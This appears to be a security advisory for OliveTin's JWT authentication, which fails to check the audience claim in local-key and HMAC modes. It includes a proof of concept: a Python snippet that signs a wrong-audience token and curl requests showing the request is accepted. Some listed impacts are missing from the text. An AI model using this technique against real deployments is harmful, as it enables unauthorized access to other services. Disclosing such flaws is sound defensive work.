When JWT authentication is configured using either:
authJwtPubKeyPath (local RSA public key), orauthJwtHmacSecret (HMAC secret),the configured audience value (authJwtAud) is not enforced during token parsing.
As a result, validly signed JWT tokens with an incorrect aud claim are accepted for authentication.
This allows authentication using tokens intended for a different audience/service.
Affected Code
File: jwt.go
Lines: 51–59, 144–157, 161–168
Current Behavior
Remote JWKS Mode (Correct):
return jwt.Parse(jwtToken, jwksVerifier.Keyfunc, jwt.WithAudience(cfg.AuthJwtAud))
Audience validation is enforced.
Local Public Key Mode (Vulnerable):
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
No jwt.WithAudience() option is provided.
HMAC Mode (Vulnerable):
return jwt.Parse(jwtString, func(token *jwt.Token) (interface{}, error) { ... })
No jwt.WithAudience() option is provided.
Why This Is Vulnerable: authJwtAud is ignored for authJwtPubKeyPath and authJwtHmacSecret modes, so wrong-audience tokens are accepted.
Configure OliveTin
Use a minimal config with JWT local key authentication:
authJwtPubKeyPath: ./public.pem
authJwtHeader: Authorization
authJwtClaimUsername: sub
authJwtAud: expected-audience
authRequireGuestsToLogin: true
Generate a Wrong-Audience Token
python3 - <<EOF
import jwt, datetime
with open("private.pem") as f:
key = f.read()
token = jwt.encode(
{
"sub": "low",
"aud": "wrong-audience", # intentionally wrong
"exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
},
key,
algorithm="RS256"
)
print(token)
EOF
This prints the $WRONG_AUD_TOKEN.
Test Without Token (Baseline)
curl -i -X POST http://localhost:1337/api/WhoAmI \
-H 'Content-Type: application/json' \
-d '{}'
Expected response:
HTTP/1.1 401 Unauthorized
Test With Wrong-Audience Token
curl -i -X POST http://localhost:1337/api/WhoAmI \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $WRONG_AUD_TOKEN" \
-d '{}'
Expected response:
HTTP/1.1 200 OK
{"authenticatedUser":"low","provider":"jwt","usergroup":"","acls":[],"sid":""}
Authentication succeeds even though the aud claim is incorrect.
An attacker who possesses a valid JWT signed by the configured key (or HMAC secret) but intended for a different audience can authenticate successfully.
This enables:
This is particularly severe when:
This does not bypass ACL authorization. It is strictly an authentication validation flaw.
{
"cwe_ids": [
"CWE-287",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-05T20:52:12Z",
"nvd_published_at": "2026-03-06T21:16:16Z",
"severity": "HIGH"
}